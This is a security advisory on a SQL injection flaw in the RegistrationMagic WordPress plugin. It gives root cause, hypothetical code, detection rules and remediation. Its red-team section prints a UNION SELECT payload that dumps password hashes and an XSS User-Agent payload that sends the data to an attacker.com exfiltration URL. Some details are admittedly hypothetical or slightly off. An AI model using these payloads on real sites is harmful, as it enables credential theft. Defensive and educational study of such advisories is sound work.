CVE-2025-11204

Executive Summary

CVE-2025-11204 is a critical SQL Injection vulnerability discovered in the RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login plugin for WordPress. This vulnerability affects all versions up to and including 6.0.6.2. The flaw stems from insufficient escaping on a user-supplied parameter and a lack of proper preparation on the existing SQL query. This allows an authenticated attacker with administrator-level access to inject and execute arbitrary SQL commands, potentially extracting sensitive data from the WordPress database. Furthermore, the advisory notes that an unauthenticated attacker could leverage a Cross-Site Scripting (XSS) via the User-Agent header on form submission to escalate privileges and trigger the SQL injection, making this a multi-vector threat. As a WordPress plugin vulnerability, this directly impacts the WordPress ecosystem and its hosted sites.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed through the official WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums against the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions of the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – Administrator-level access is needed for direct exploitation.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Full database read access is possible.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – Database operations can be disrupted.

Threat Level: High. While the CVSS score is 7.2, the potential for privilege escalation via XSS (from unauthenticated to admin) raises the effective risk. The EPSS score of 0.0% suggests low exploitation activity currently, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability resides in the SQL query construction within the RegistrationMagic plugin. The plugin fails to properly sanitize a user-supplied parameter before incorporating it into an SQL query. Specifically, the $field_id or similar parameter used in dynamic query building is not escaped, and the query lacks prepared statements.

Root Cause:

1. Insufficient Escaping: The plugin uses esc_sql() or similar functions incorrectly, or not at all, on the vulnerable parameter.
2. Lack of Prepared Statements: The SQL query is built using string concatenation rather than parameterized queries (e.g., $wpdb->prepare()).

Attack Flow (Authenticated):

1. An administrator logs into the WordPress admin panel.
2. The attacker navigates to a vulnerable endpoint (e.g., form field management, reporting, or export functionality).
3. The attacker injects a malicious SQL payload into a parameter (e.g., field_id=1 UNION SELECT user_pass FROM wp_users).
4. The plugin executes the modified query, returning hashed passwords or other sensitive data.

Attack Flow (Unauthenticated via XSS):

1. An unauthenticated attacker submits a form with a malicious User-Agent header containing JavaScript.
2. The plugin stores or reflects the User-Agent without sanitization, causing XSS.
3. The XSS executes in the context of an administrator who views the submission log.
4. The injected JavaScript performs an admin-level SQL injection request to the vulnerable endpoint.
5. The attacker extracts data via the XSS callback.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (PHP):

// Vulnerable: Direct concatenation without proper escaping
$field_id = $_POST['field_id'];
$query = "SELECT * FROM {$wpdb->prefix}rm_fields WHERE id = " . $field_id;
$results = $wpdb->get_results($query);

Patched Code (Hypothetical):

// Patched: Use prepared statements
$field_id = intval($_POST['field_id']); // or use $wpdb->prepare
$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}rm_fields WHERE id = %d", $field_id);
$results = $wpdb->get_results($query);

The patched version uses $wpdb->prepare() with a placeholder (%d) to ensure the input is treated as data, not SQL code. Additionally, intval() provides an extra layer of type safety.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with RegistrationMagic plugin version <= 6.0.6.2.
• Administrator credentials (or ability to trigger XSS to obtain admin session).

Step 1: Authenticated SQL Injection

1. Log in as an administrator.
2. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=rm_get_field_data).
3. Inject SQL payload:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   action=rm_get_field_data&field_id=1 UNION SELECT user_login,user_pass FROM wp_users--
   

4. Extract hashed passwords from the response.

Step 2: Unauthenticated XSS to SQLi (Chained)

1. Submit a form with a malicious User-Agent:

   POST /wp-json/rm/v1/submit HTTP/1.1
   User-Agent: <script>fetch('/wp-admin/admin-ajax.php?action=rm_get_field_data&field_id=1 UNION SELECT user_login,user_pass FROM wp_users--').then(r=>r.text()).then(d=>fetch('http://attacker.com/exfil?data='+btoa(d)))</script>
   

2. Wait for an admin to view the submission log.
3. The XSS executes, performing the SQL injection and exfiltrating data.

Blue Team (Defensive)

Detection:

• Monitor for SQL error messages in logs (e.g., WordPress database error).
• Look for unusual SQL keywords in HTTP parameters (e.g., UNION, SELECT, FROM).
• Detect XSS payloads in User-Agent headers.

Honeypot:

• Deploy a fake admin user with a weak password to lure attackers.
• Monitor for login attempts from that user.

Lab Setup:

• Use a local WordPress installation with Docker:

  docker run --name wp -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress -p 8080:80 -d wordpress
  

• Install RegistrationMagic plugin version 6.0.6.2 manually.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing SQL keywords in parameters (e.g., field_id=1 UNION).
• User-Agent headers containing JavaScript code (e.g., <script> tags).
• Outbound connections to unknown IPs from the WordPress server.

File IOCs:

• Modified plugin files (check file integrity via MD5 hashes).
• Suspicious entries in wp-content/uploads/rm_submissions/ (XSS payloads).

Log IOCs:

• WordPress database error entries in debug.log.
• Admin login attempts from unusual IPs.
• AJAX requests to admin-ajax.php with action=rm_get_field_data.

Detection Engineering

YARA Rule

rule CVE_2025_11204_RegistrationMagic_SQLi {
    meta:
        description = "Detects SQL injection attempts against RegistrationMagic plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11204"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "OR 1=1" nocase
        $sqli3 = "admin-ajax.php" nocase
        $sqli4 = "rm_get_field_data" nocase
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2025-11204 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting RegistrationMagic plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - 'admin-ajax.php'
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=rm_get_field_data'
            - 'field_id='
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11204 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=rm_get_field_data"; http_client_body; pcre:"/(UNION|SELECT|FROM|WHERE)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict admin access to trusted IPs only.
3. Enable Web Application Firewall (WAF) rules to block SQLi and XSS patterns.
4. Monitor logs for suspicious activity.

Long-term Fix:

• Apply the official patch once released by the vendor.
• If no patch is forthcoming, consider replacing the plugin with an alternative (e.g., WPForms, Gravity Forms).
• Implement input validation and prepared statements in custom code.

Workaround:

• Use a security plugin like Wordfence to add virtual patching.
• Manually edit the plugin code to use $wpdb->prepare() (not recommended for production without testing).

Valters IT